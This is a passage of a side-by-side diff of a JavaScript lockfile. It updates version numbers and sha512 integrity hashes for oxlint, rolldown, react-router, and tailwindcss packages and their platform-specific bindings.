"@oxlint/binding-win32-ia32-msvc": ["@oxlint/[email protected]1.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-0ySj4/4zd2XjePs3XAQq7IigIstN4LPQZgCyigX5/ERMLjdWAJfnxcTsrtxZxuij8guJW8foXuHmhGxW0H4dDA=="],
|
"@oxlint/binding-win32-ia32-msvc": ["@oxlint/[email protected]6.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-m3Pjwc2MfTcom4E4gOv7DyuGyt7OfGNCbmqDHd+N7EzXmP+ppHuudm2NjcA3AjV5TSeGxaguVF4SbTKHe1USYA=="],
|
||||||
|
|
||||||
"@oxlint/binding-win32-x64-msvc": ["@oxlint/[email protected]1.0", "", { "os": "win32", "cpu": "x64" }, "sha512-0xgSiyeqDLDZxXoe9CVJrOx3TUVsfyoOY7cNi03JbItNcC9WCZqrSNdrAbHONxhSPaVh/lzfnDcON1RqSUMhHw=="],
|
"@oxlint/binding-win32-x64-msvc": ["@oxlint/[email protected]6.0", "", { "os": "win32", "cpu": "x64" }, "sha512-/DbBvw8UFBhja6PqudUjV4UtfsJr0Oa7jUjWVKB0g86lj/VwnPrkngn0sFql3c9RDA0O16dh7ozsXb6GjNAzBQ=="],
|
||||||
|
|
||||||
"@radix-ui/number": ["@radix-ui/[email protected]", "", {}, "sha512-MkKCwxlXTgz6CFoJx3pCwn07GKp36+aZyu/u2Ln2VrA5DcdyCZkASEDBTd8x5whTQQL5CiYf4prXKLcgQdv29g=="],
|
"@radix-ui/number": ["@radix-ui/[email protected]", "", {}, "sha512-MkKCwxlXTgz6CFoJx3pCwn07GKp36+aZyu/u2Ln2VrA5DcdyCZkASEDBTd8x5whTQQL5CiYf4prXKLcgQdv29g=="],
|
||||||
|
|
||||||
@@ -361,43 +362,43 @@
|
|||||||
|
|
||||||
"@radix-ui/rect": ["@radix-ui/[email protected]", "", {}, "sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw=="],
|
"@radix-ui/rect": ["@radix-ui/[email protected]", "", {}, "sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw=="],
|
||||||
|
|
||||||
"@react-router/dev": ["@react-router/[email protected]4.2", "", { "dependencies": { "@babel/core": "^7.27.7", "@babel/generator": "^7.27.5", "@babel/parser": "^7.27.7", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/preset-typescript": "^7.27.1", "@babel/traverse": "^7.27.7", "@babel/types": "^7.27.7", "@react-router/node": "7.14.2", "@remix-run/node-fetch-server": "^0.13.0", "arg": "^5.0.1", "babel-dead-code-elimination": "^1.0.6", "chokidar": "^4.0.0", "dedent": "^1.5.3", "es-module-lexer": "^1.3.1", "exit-hook": "2.2.1", "isbot": "^5.1.11", "jsesc": "3.0.2", "lodash": "^4.17.21", "p-map": "^7.0.3", "pathe": "^1.1.2", "picocolors": "^1.1.1", "pkg-types": "^2.3.0", "prettier": "^3.6.2", "react-refresh": "^0.14.0", "semver": "^7.3.7", "tinyglobby": "^0.2.14", "valibot": "^1.2.0", "vite-node": "^3.2.2" }, "peerDependencies": { "@react-router/serve": "^7.14.2", "@vitejs/plugin-rsc": "~0.5.21", "react-router": "^7.14.2", "react-server-dom-webpack": "^19.2.3", "typescript": "^5.1.0 || ^6.0.0", "vite": "^5.1.0 || ^6.0.0 || ^7.0.0 || ^8.0.0", "wrangler": "^3.28.2 || ^4.0.0" }, "optionalPeers": ["@react-router/serve", "@vitejs/plugin-rsc", "react-server-dom-webpack", "typescript", "wrangler"], "bin": { "react-router": "bin.js" } }, "sha512-lU88Ls4iC78RdPOKkER54+hlsHzzS8WSZrf2/cGQumbIN2A5WvO0LDyv72cdJmLWujgZ9rpNoGzmqWINssShGQ=="],
|
"@react-router/dev": ["@react-router/[email protected]5.1", "", { "dependencies": { "@babel/core": "^7.27.7", "@babel/generator": "^7.27.5", "@babel/parser": "^7.27.7", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/preset-typescript": "^7.27.1", "@babel/traverse": "^7.27.7", "@babel/types": "^7.27.7", "@react-router/node": "7.15.1", "@remix-run/node-fetch-server": "^0.13.0", "arg": "^5.0.1", "babel-dead-code-elimination": "^1.0.6", "chokidar": "^4.0.0", "dedent": "^1.5.3", "es-module-lexer": "^1.3.1", "exit-hook": "2.2.1", "isbot": "^5.1.11", "jsesc": "3.0.2", "lodash": "^4.17.21", "p-map": "^7.0.3", "pathe": "^1.1.2", "picocolors": "^1.1.1", "pkg-types": "^2.3.0", "prettier": "^3.6.2", "react-refresh": "^0.14.0", "semver": "^7.3.7", "tinyglobby": "^0.2.14", "valibot": "^1.2.0", "vite-node": "^3.2.2" }, "peerDependencies": { "@react-router/serve": "^7.15.1", "@vitejs/plugin-rsc": "~0.5.21", "react-router": "^7.15.1", "react-server-dom-webpack": "^19.2.3", "typescript": "^5.1.0 || ^6.0.0", "vite": "^5.1.0 || ^6.0.0 || ^7.0.0 || ^8.0.0", "wrangler": "^3.28.2 || ^4.0.0" }, "optionalPeers": ["@react-router/serve", "@vitejs/plugin-rsc", "react-server-dom-webpack", "typescript", "wrangler"], "bin": { "react-router": "bin.js" } }, "sha512-BlFEU7SjPQHJDfYuw5qJU3+p4wMPEvKpf5Kj64/rRzQQjncXzhzkIJ0xreAQSYgGwJWjIXIK9swOaeE2czhulw=="],
|
||||||
|
|
||||||
"@react-router/node": ["@react-router/[email protected]4.2", "", { "dependencies": { "@mjackson/node-fetch-server": "^0.2.0" }, "peerDependencies": { "react-router": "7.14.2", "typescript": "^5.1.0 || ^6.0.0" }, "optionalPeers": ["typescript"] }, "sha512-8zxVfgKOXjk0k8YxSBDTFyNAuVdr+og1wFbQpmJJOxo7ObxfI81EbHenyyxGvFiw77rNFLS9Dqgnv5xZgHZfCw=="],
|
"@react-router/node": ["@react-router/[email protected]5.1", "", { "dependencies": { "@mjackson/node-fetch-server": "^0.2.0" }, "peerDependencies": { "react-router": "7.15.1", "typescript": "^5.1.0 || ^6.0.0" }, "optionalPeers": ["typescript"] }, "sha512-lv68RaqmIa/ZRlIrGcl79HimaqpU3yV1CFKnmItU+xqI+xn9g5fqsh2Vj2LdNjnlzJgVsRMEpnv00t/6RgDrgw=="],
|
||||||
|
|
||||||
"@remix-run/node-fetch-server": ["@remix-run/[email protected]", "", {}, "sha512-1EsNo0ZpgXu/90AWoRZf/oE3RVTUS80tiTUpt+hv5pjtAkw7icN4WskDwz/KdAw5ARbJLMhZBrO1NqThmy/McA=="],
|
"@remix-run/node-fetch-server": ["@remix-run/[email protected]", "", {}, "sha512-1EsNo0ZpgXu/90AWoRZf/oE3RVTUS80tiTUpt+hv5pjtAkw7icN4WskDwz/KdAw5ARbJLMhZBrO1NqThmy/McA=="],
|
||||||
|
|
||||||
"@rolldown/binding-android-arm64": ["@rolldown/[email protected].0-rc.17", "", { "os": "android", "cpu": "arm64" }, "sha512-s70pVGhw4zqGeFnXWvAzJDlvxhlRollagdCCKRgOsgUOH3N1l0LIxf83AtGzmb5SiVM4Hjl5HyarMRfdfj3DaQ=="],
|
"@rolldown/binding-android-arm64": ["@rolldown/[email protected].2", "", { "os": "android", "cpu": "arm64" }, "sha512-ZS4D1JPGn/MYQN/SYDWftIE/nVsM8j/AFOYEzAoOE2O3NktQOZru+/vYXGbR/qtdLdIfGCP0lcoJiYVzsEz+iQ=="],
|
||||||
|
|
||||||
"@rolldown/binding-darwin-arm64": ["@rolldown/[email protected].0-rc.17", "", { "os": "darwin", "cpu": "arm64" }, "sha512-4ksWc9n0mhlZpZ9PMZgTGjeOPRu8MB1Z3Tz0Mo02eWfWCHMW1zN82Qz/pL/rC+yQa+8ZnutMF0JjJe7PjwasYw=="],
|
"@rolldown/binding-darwin-arm64": ["@rolldown/[email protected].2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-vdFA9+C/rekyGce7WqHs/xoT0ioZEWaOFyZLIV1mEeNFaFDUQrPIo8Vs2GvJ6eetb3rzDUtUBgzto3ExpXJB3w=="],
|
||||||
|
|
||||||
"@rolldown/binding-darwin-x64": ["@rolldown/[email protected].0-rc.17", "", { "os": "darwin", "cpu": "x64" }, "sha512-SUSDOI6WwUVNcWxd02QEBjLdY1VPHvlEkw6T/8nYG322iYWCTxRb1vzk4E+mWWYehTp7ERibq54LSJGjmouOsw=="],
|
"@rolldown/binding-darwin-x64": ["@rolldown/[email protected].2", "", { "os": "darwin", "cpu": "x64" }, "sha512-BewSOwTHazv77DTYiAZXSqqKZ4KP/KonFisDMVU7PImxoWfB2aepnPhd2E4SWz3zDzYgDNbs6jBmTdgNnF02GA=="],
|
||||||
|
|
||||||
"@rolldown/binding-freebsd-x64": ["@rolldown/[email protected].0-rc.17", "", { "os": "freebsd", "cpu": "x64" }, "sha512-hwnz3nw9dbJ05EDO/PvcjaaewqqDy7Y1rn1UO81l8iIK1GjenME75dl16ajbvSSMfv66WXSRCYKIqfgq2KCfxw=="],
|
"@rolldown/binding-freebsd-x64": ["@rolldown/[email protected].2", "", { "os": "freebsd", "cpu": "x64" }, "sha512-m41o7M0YWtUdqk61Tb+jnKb2rN++iRdIASlExkUoKfIAH30DOHCB8fVLzSUpbWHHU8esmEioY62PxzexE8MBuA=="],
|
||||||
|
|
||||||
"@rolldown/binding-linux-arm-gnueabihf": ["@rolldown/[email protected].0-rc.17", "", { "os": "linux", "cpu": "arm" }, "sha512-IS+W7epTcwANmFSQFrS1SivEXHtl1JtuQA9wlxrZTcNi6mx+FDOYrakGevvvTwgj2JvWiK8B29/qD9BELZPyXQ=="],
|
"@rolldown/binding-linux-arm-gnueabihf": ["@rolldown/[email protected].2", "", { "os": "linux", "cpu": "arm" }, "sha512-jcojB9H7W/jS29pMKWAK1N+fU99vXodHDTatS3b3y/XSOCiHo0kkA74pL3jJmkoQtYpOCxDvaKs1fo2Ij/1X5w=="],
|
||||||
|
|
||||||
"@rolldown/binding-linux-arm64-gnu": ["@rolldown/[email protected].0-rc.17", "", { "os": "linux", "cpu": "arm64" }, "sha512-e6usGaHKW5BMNZOymS1UcEYGowQMWcgZ71Z17Sl/h2+ZziNJ1a9n3Zvcz6LdRyIW5572wBCTH/Z+bKuZouGk9Q=="],
|
"@rolldown/binding-linux-arm64-gnu": ["@rolldown/[email protected].2", "", { "os": "linux", "cpu": "arm64" }, "sha512-1jn6qDU5iiOgFgygDzKUuKP0maTi0/f1+sBLgvij/76C77Nm3ts6ufz9Bjg5q5dduxiUIxtq86JIoBvo1xQ4Ig=="],
|
||||||
|
|
||||||
"@rolldown/binding-linux-arm64-musl": ["@rolldown/[email protected].0-rc.17", "", { "os": "linux", "cpu": "arm64" }, "sha512-b/CgbwAJpmrRLp02RPfhbudf5tZnN9nsPWK82znefso832etkem8H7FSZwxrOI9djcdTP7U6YfNhbRnh7djErg=="],
|
"@rolldown/binding-linux-arm64-musl": ["@rolldown/[email protected].2", "", { "os": "linux", "cpu": "arm64" }, "sha512-QVLO/czFMdoMFSqlX3bcswcJNm/23r+qoa/jgtmFc/qEp6/jXmIkDjF/XIo8dPfGaiwy1xfQn8o77L79GeXFgw=="],
|
||||||
|
|
||||||
"@rolldown/binding-linux-ppc64-gnu": ["@rolldown/[email protected].0-rc.17", "", { "os": "linux", "cpu": "ppc64" }, "sha512-4EII1iNGRUN5WwGbF/kOh/EIkoDN9HsupgLQoXfY+D1oyJm7/F4t5PYU5n8SWZgG0FEwakyM8pGgwcBYruGTlA=="],
|
"@rolldown/binding-linux-ppc64-gnu": ["@rolldown/[email protected].2", "", { "os": "linux", "cpu": "ppc64" }, "sha512-hgO5Abm0w5UL6FEa2iFnZqo2KlK7TQ5QhV5x09hujBf7t5KzHQ1VmfPuTpqRy/rNlSxua3eWH374xxiVrP+lcA=="],
|
||||||
|
|
||||||
"@rolldown/binding-linux-s390x-gnu": ["@rolldown/[email protected].0-rc.17", "", { "os": "linux", "cpu": "s390x" }, "sha512-AH8oq3XqQo4IibpVXvPeLDI5pzkpYn0WiZAfT05kFzoJ6tQNzwRdDYQ45M8I/gslbodRZwW8uxLhbSBbkv96rA=="],
|
"@rolldown/binding-linux-s390x-gnu": ["@rolldown/[email protected].2", "", { "os": "linux", "cpu": "s390x" }, "sha512-fy8rXxuYEu602abC8MUNaPjYLIFzReOaEIEMKMUa0rFEUxNpVXhs15KSSQ4qlqSaM7B6rcj9rDZgADh/IGDzLQ=="],
|
||||||
|
|
||||||
"@rolldown/binding-linux-x64-gnu": ["@rolldown/[email protected].0-rc.17", "", { "os": "linux", "cpu": "x64" }, "sha512-cLnjV3xfo7KslbU41Z7z8BH/E1y5mzUYzAqih1d1MDaIGZRCMqTijqLv76/P7fyHuvUcfGsIpqCdddbxLLK9rA=="],
|
"@rolldown/binding-linux-x64-gnu": ["@rolldown/[email protected].2", "", { "os": "linux", "cpu": "x64" }, "sha512-0+bOkiQ779+r1WpoHOWHqncvyySci0vKph+myNDYb+im6meJAzHQXay6oEgnkHuUGouM1LKTZwqKpBow6Kj7CQ=="],
|
||||||
|
|
||||||
"@rolldown/binding-linux-x64-musl": ["@rolldown/[email protected].0-rc.17", "", { "os": "linux", "cpu": "x64" }, "sha512-0phclDw1spsL7dUB37sIARuis2tAgomCJXAHZlpt8PXZ4Ba0dRP1e+66lsRqrfhISeN9bEGNjQs+T/Fbd7oYGw=="],
|
"@rolldown/binding-linux-x64-musl": ["@rolldown/[email protected].2", "", { "os": "linux", "cpu": "x64" }, "sha512-mjSkrzZK5Qsl0a9d1JgILOiuZOSDTVdKENcSXBoqbzSrspLR/4/IRVDo5wd2GgZjNss/viBFJdeq+j7qH2nypw=="],
|
||||||
|
|
||||||
"@rolldown/binding-openharmony-arm64": ["@rolldown/[email protected].0-rc.17", "", { "os": "none", "cpu": "arm64" }, "sha512-0ag/hEgXOwgw4t8QyQvUCxvEg+V0KBcA6YuOx9g0r02MprutRF5dyljgm3EmR02O292UX7UeS6HzWHAl6KgyhA=="],
|
"@rolldown/binding-openharmony-arm64": ["@rolldown/[email protected].2", "", { "os": "none", "cpu": "arm64" }, "sha512-1v5vHasdfQAZoEHakBV72LIFAC9JjnymsiKxp+GEr/ma3+NJCPSaYK+qavInOovJkgwFrs7GccX2d6IgDA3Z5w=="],
|
||||||
|
|
||||||
"@rolldown/binding-wasm32-wasi": ["@rolldown/[email protected].0-rc.17", "", { "dependencies": { "@emnapi/core": "1.10.0", "@emnapi/runtime": "1.10.0", "@napi-rs/wasm-runtime": "^1.1.4" }, "cpu": "none" }, "sha512-LEXei6vo0E5wTGwpkJ4KoT3OZJRnglwldt5ziLzOlc6qqb55z4tWNq2A+PFqCJuvWWdP53CVhG1Z9NtToDPJrA=="],
|
"@rolldown/binding-wasm32-wasi": ["@rolldown/[email protected].2", "", { "dependencies": { "@emnapi/core": "1.10.0", "@emnapi/runtime": "1.10.0", "@napi-rs/wasm-runtime": "^1.1.4" }, "cpu": "none" }, "sha512-mb1VobWn6NheziTk5/WEaR6AKVbrwT5sOi6C7zk3gy/pD1qtJfU1j4PgTo2NJnOtbL9Dl3Aeei8w9jJ7qC2jZQ=="],
|
||||||
|
|
||||||
"@rolldown/binding-win32-arm64-msvc": ["@rolldown/[email protected].0-rc.17", "", { "os": "win32", "cpu": "arm64" }, "sha512-gUmyzBl3SPMa6hrqFUth9sVfcLBlYsbMzBx5PlexMroZStgzGqlZ26pYG89rBb45Mnia+oil6YAIFeEWGWhoZA=="],
|
"@rolldown/binding-win32-arm64-msvc": ["@rolldown/[email protected].2", "", { "os": "win32", "cpu": "arm64" }, "sha512-SqKonF56vA/L2yHwHYcEp2P34URpOZ7d1fS635cTkpDnUtEGdUbhI6NzsPdqeSWvAAeGDrxjWjNmibDIdFf9/A=="],
|
||||||
|
|
||||||
"@rolldown/binding-win32-x64-msvc": ["@rolldown/[email protected].0-rc.17", "", { "os": "win32", "cpu": "x64" }, "sha512-3hkiolcUAvPB9FLb3UZdfjVVNWherN1f/skkGWJP/fgSQhYUZpSIRr0/I8ZK9TkF3F7kxvJAk0+IcKvPHk9qQg=="],
|
"@rolldown/binding-win32-x64-msvc": ["@rolldown/[email protected].2", "", { "os": "win32", "cpu": "x64" }, "sha512-v7qRI7gXLRINcOGXt+7YmAZ6iFuyZVMIoXAxhd8oP+DR9dLfL9GfNIx7PLMxmhZdvq8waUJBQiWN9EKNy+TRBQ=="],
|
||||||
|
|
||||||
"@rolldown/pluginutils": ["@rolldown/[email protected].0-rc.17", "", {}, "sha512-n8iosDOt6Ig1UhJ2AYqoIhHWh/isz0xpicHTzpKBeotdVsTEcxsSA/i3EVM7gQAj0rU27OLAxCjzlj15IWY7bg=="],
|
"@rolldown/pluginutils": ["@rolldown/[email protected].1", "", {}, "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw=="],
|
||||||
|
|
||||||
"@rollup/rollup-android-arm-eabi": ["@rollup/[email protected]", "", { "os": "android", "cpu": "arm" }, "sha512-mRSi+4cBjrRLoaal2PnqH82Wqyb+d3HsPUN/W+WslCXsZsyHa9ZeQQX/pQsZaVIWDkPcpV6jJ+3KLbTbgnwv8w=="],
|
"@rollup/rollup-android-arm-eabi": ["@rollup/[email protected]", "", { "os": "android", "cpu": "arm" }, "sha512-mRSi+4cBjrRLoaal2PnqH82Wqyb+d3HsPUN/W+WslCXsZsyHa9ZeQQX/pQsZaVIWDkPcpV6jJ+3KLbTbgnwv8w=="],
|
||||||
|
|
||||||
@@ -475,35 +476,35 @@
|
|||||||
|
|
||||||
"@standard-schema/utils": ["@standard-schema/[email protected]", "", {}, "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g=="],
|
"@standard-schema/utils": ["@standard-schema/[email protected]", "", {}, "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g=="],
|
||||||
|
|
||||||
"@tailwindcss/node": ["@tailwindcss/node@4.2.4", "", { "dependencies": { "@jridgewell/remapping": "^2.3.5", "enhanced-resolve": "^5.19.0", "jiti": "^2.6.1", "lightningcss": "1.32.0", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.2.4" } }, "sha512-Ai7+yQPxz3ddrDQzFfBKdHEVBg0w3Zl83jnjuwxnZOsnH9pGn93QHQtpU0p/8rYWxvbFZHneni6p1BSLK4DkGA=="],
|
"@tailwindcss/node": ["@tailwindcss/node@4.3.0", "", { "dependencies": { "@jridgewell/remapping": "^2.3.5", "enhanced-resolve": "^5.21.0", "jiti": "^2.6.1", "lightningcss": "1.32.0", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.3.0" } }, "sha512-aFb4gUhFOgdh9AXo4IzBEOzBkkAxm9VigwDJnMIYv3lcfXCJVesNfbEaBl4BNgVRyid92AmdviqwBUBRKSeY3g=="],
|
||||||
|
|
||||||
"@tailwindcss/oxide": ["@tailwindcss/oxide@4.2.4", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.2.4", "@tailwindcss/oxide-darwin-arm64": "4.2.4", "@tailwindcss/oxide-darwin-x64": "4.2.4", "@tailwindcss/oxide-freebsd-x64": "4.2.4", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.2.4", "@tailwindcss/oxide-linux-arm64-gnu": "4.2.4", "@tailwindcss/oxide-linux-arm64-musl": "4.2.4", "@tailwindcss/oxide-linux-x64-gnu": "4.2.4", "@tailwindcss/oxide-linux-x64-musl": "4.2.4", "@tailwindcss/oxide-wasm32-wasi": "4.2.4", "@tailwindcss/oxide-win32-arm64-msvc": "4.2.4", "@tailwindcss/oxide-win32-x64-msvc": "4.2.4" } }, "sha512-9El/iI069DKDSXwTvB9J4BwdO5JhRrOweGaK25taBAvBXyXqJAX+Jqdvs8r8gKpsI/1m0LeJLyQYTf/WLrBT1Q=="],
|
"@tailwindcss/oxide": ["@tailwindcss/oxide@4.3.0", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.3.0", "@tailwindcss/oxide-darwin-arm64": "4.3.0", "@tailwindcss/oxide-darwin-x64": "4.3.0", "@tailwindcss/oxide-freebsd-x64": "4.3.0", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.3.0", "@tailwindcss/oxide-linux-arm64-gnu": "4.3.0", "@tailwindcss/oxide-linux-arm64-musl": "4.3.0", "@tailwindcss/oxide-linux-x64-gnu": "4.3.0", "@tailwindcss/oxide-linux-x64-musl": "4.3.0", "@tailwindcss/oxide-wasm32-wasi": "4.3.0", "@tailwindcss/oxide-win32-arm64-msvc": "4.3.0", "@tailwindcss/oxide-win32-x64-msvc": "4.3.0" } }, "sha512-F7HZGBeN9I0/AuuJS5PwcD8xayx5ri5GhjYUDBEVYUkexyA/giwbDNjRVrxSezE3T250OU2K/wp/ltWx3UOefg=="],
|
||||||
|
|
||||||
"@tailwindcss/oxide-android-arm64": ["@tailwindcss/oxide-android-arm64@4.2.4", "", { "os": "android", "cpu": "arm64" }, "sha512-e7MOr1SAn9U8KlZzPi1ZXGZHeC5anY36qjNwmZv9pOJ8E4Q6jmD1vyEHkQFmNOIN7twGPEMXRHmitN4zCMN03g=="],
|
"@tailwindcss/oxide-android-arm64": ["@tailwindcss/oxide-android-arm64@4.3.0", "", { "os": "android", "cpu": "arm64" }, "sha512-TJPiq67tKlLuObP6RkwvVGDoxCMBVtDgKkLfa/uyj7/FyxvQwHS+UOnVrXXgbEsfUaMgiVvC4KbJnRr26ho4Ng=="],
|
||||||
|
|
||||||
"@tailwindcss/oxide-darwin-arm64": ["@tailwindcss/oxide-darwin-arm64@4.2.4", "", { "os": "darwin", "cpu": "arm64" }, "sha512-tSC/Kbqpz/5/o/C2sG7QvOxAKqyd10bq+ypZNf+9Fi2TvbVbv1zNpcEptcsU7DPROaSbVgUXmrzKhurFvo5eDg=="],
|
"@tailwindcss/oxide-darwin-arm64": ["@tailwindcss/oxide-darwin-arm64@4.3.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-oMN/WZRb+SO37BmUElEgeEWuU8E/HXRkiODxJxLe1UTHVXLrdVSgfaJV7pSlhRGMSOiXLuxTIjfsF3wYvz8cgQ=="],
|
||||||
|
|
||||||
"@tailwindcss/oxide-darwin-x64": ["@tailwindcss/oxide-darwin-x64@4.2.4", "", { "os": "darwin", "cpu": "x64" }, "sha512-yPyUXn3yO/ufR6+Kzv0t4fCg2qNr90jxXc5QqBpjlPNd0NqyDXcmQb/6weunH/MEDXW5dhyEi+agTDiqa3WsGg=="],
|
"@tailwindcss/oxide-darwin-x64": ["@tailwindcss/oxide-darwin-x64@4.3.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-N6CUmu4a6bKVADfw77p+iw6Yd9Q3OBhe0veaDX+QazfuVYlQsHfDgxBrsjQ/IW+zywL8mTrNd0SdJT/zgtvMdA=="],
|
||||||
|
|
||||||
"@tailwindcss/oxide-freebsd-x64": ["@tailwindcss/oxide-freebsd-x64@4.2.4", "", { "os": "freebsd", "cpu": "x64" }, "sha512-BoMIB4vMQtZsXdGLVc2z+P9DbETkiopogfWZKbWwM8b/1Vinbs4YcUwo+kM/KeLkX3Ygrf4/PsRndKaYhS8Eiw=="],
|
"@tailwindcss/oxide-freebsd-x64": ["@tailwindcss/oxide-freebsd-x64@4.3.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-zDL5hBkQdH5C6MpqbK3gQAgP80tsMwSI26vjOzjJtNCMUo0lFgOItzHKBIupOZNQxt3ouPH7RPhvNhiTfCe5CQ=="],
|
||||||
|
|
||||||
"@tailwindcss/oxide-linux-arm-gnueabihf": ["@tailwindcss/oxide-linux-arm-gnueabihf@4.2.4", "", { "os": "linux", "cpu": "arm" }, "sha512-7pIHBLTHYRAlS7V22JNuTh33yLH4VElwKtB3bwchK/UaKUPpQ0lPQiOWcbm4V3WP2I6fNIJ23vABIvoy2izdwA=="],
|
"@tailwindcss/oxide-linux-arm-gnueabihf": ["@tailwindcss/oxide-linux-arm-gnueabihf@4.3.0", "", { "os": "linux", "cpu": "arm" }, "sha512-R06HdNi7A7OEoMsf6d4tjZ71RCWnZQPHj2mnotSFURjNLdBC+cIgXQ7l81CqeoiQftjf6OOblxXMInMgN2VzMA=="],
|
||||||
|
|
||||||
"@tailwindcss/oxide-linux-arm64-gnu": ["@tailwindcss/oxide-linux-arm64-gnu@4.2.4", "", { "os": "linux", "cpu": "arm64" }, "sha512-+E4wxJ0ZGOzSH325reXTWB48l42i93kQqMvDyz5gqfRzRZ7faNhnmvlV4EPGJU3QJM/3Ab5jhJ5pCRUsKn6OQw=="],
|
"@tailwindcss/oxide-linux-arm64-gnu": ["@tailwindcss/oxide-linux-arm64-gnu@4.3.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-qTJHELX8jetjhRQHCLilkVLmybpzNQAtaI/gaoVoidn/ufbNDbAo8KlK2J+yPoc8wQxvDxCmh/5lr8nC1+lTbg=="],
|
||||||
|
|
||||||
"@tailwindcss/oxide-linux-arm64-musl": ["@tailwindcss/oxide-linux-arm64-musl@4.2.4", "", { "os": "linux", "cpu": "arm64" }, "sha512-bBADEGAbo4ASnppIziaQJelekCxdMaxisrk+fB7Thit72IBnALp9K6ffA2G4ruj90G9XRS2VQ6q2bCKbfFV82g=="],
|
"@tailwindcss/oxide-linux-arm64-musl": ["@tailwindcss/oxide-linux-arm64-musl@4.3.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-Z6sukiQsngnWO+l39X4pPbiWT81IC+PLKF+PHxIlyZbGNb9MODfYlXEVlFvej5BOZInWX01kVyzeLvHsXhfczQ=="],
|
||||||
|
|
||||||
"@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/oxide-linux-x64-gnu@4.2.4", "", { "os": "linux", "cpu": "x64" }, "sha512-7Mx25E4WTfnht0TVRTyC00j3i0M+EeFe7wguMDTlX4mRxafznw0CA8WJkFjWYH5BlgELd1kSjuU2JiPnNZbJDA=="],
|
"@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/oxide-linux-x64-gnu@4.3.0", "", { "os": "linux", "cpu": "x64" }, "sha512-DRNdQRpSGzRGfARVuVkxvM8Q12nh19l4BF/G7zGA1oe+9wcC6saFBHTISrpIcKzhiXtSrlSrluCfvMuledoCTQ=="],
|
||||||
|
|
||||||
"@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/oxide-linux-x64-musl@4.2.4", "", { "os": "linux", "cpu": "x64" }, "sha512-2wwJRF7nyhOR0hhHoChc04xngV3iS+akccHTGtz965FwF0up4b2lOdo6kI1EbDaEXKgvcrFBYcYQQ/rrnWFVfA=="],
|
"@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/oxide-linux-x64-musl@4.3.0", "", { "os": "linux", "cpu": "x64" }, "sha512-Z0IADbDo8bh6I7h2IQMx601AdXBLfFpEdUotft86evd/8ZPflZe9COPO8Q1vw+pfLWIUo9zN/JGZvwuAJqduqg=="],
|
||||||
|
|
||||||
"@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/oxide-wasm32-wasi@4.2.4", "", { "dependencies": { "@emnapi/core": "^1.8.1", "@emnapi/runtime": "^1.8.1", "@emnapi/wasi-threads": "^1.1.0", "@napi-rs/wasm-runtime": "^1.1.1", "@tybys/wasm-util": "^0.10.1", "tslib": "^2.8.1" }, "cpu": "none" }, "sha512-FQsqApeor8Fo6gUEklzmaa9994orJZZDBAlQpK2Mq+DslRKFJeD6AjHpBQ0kZFQohVr8o85PPh8eOy86VlSCmw=="],
|
"@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/oxide-wasm32-wasi@4.3.0", "", { "dependencies": { "@emnapi/core": "^1.10.0", "@emnapi/runtime": "^1.10.0", "@emnapi/wasi-threads": "^1.2.1", "@napi-rs/wasm-runtime": "^1.1.4", "@tybys/wasm-util": "^0.10.1", "tslib": "^2.8.1" }, "cpu": "none" }, "sha512-HNZGOUxEmElksYR7S6sC5jTeNGpobAsy9u7Gu0AskJ8/20FR9GqebUyB+HBcU/ax6BHuiuJi+Oda4B+YX6H1yA=="],
|
||||||
|
|
||||||
"@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/oxide-win32-arm64-msvc@4.2.4", "", { "os": "win32", "cpu": "arm64" }, "sha512-L9BXqxC4ToVgwMFqj3pmZRqyHEztulpUJzCxUtLjobMCzTPsGt1Fa9enKbOpY2iIyVtaHNeNvAK8ERP/64sqGQ=="],
|
"@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/oxide-win32-arm64-msvc@4.3.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-Pe+RPVTi1T+qymuuRpcdvwSVZjnll/f7n8gBxMMh3xLTctMDKqpdfGimbMyioqtLhUYZxdJ9wGNhV7MKHvgZsQ=="],
|
||||||
|
|
||||||
"@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/oxide-win32-x64-msvc@4.2.4", "", { "os": "win32", "cpu": "x64" }, "sha512-ESlKG0EpVJQwRjXDDa9rLvhEAh0mhP1sF7sap9dNZT0yyl9SAG6T7gdP09EH0vIv0UNTlo6jPWyujD6559fZvw=="],
|
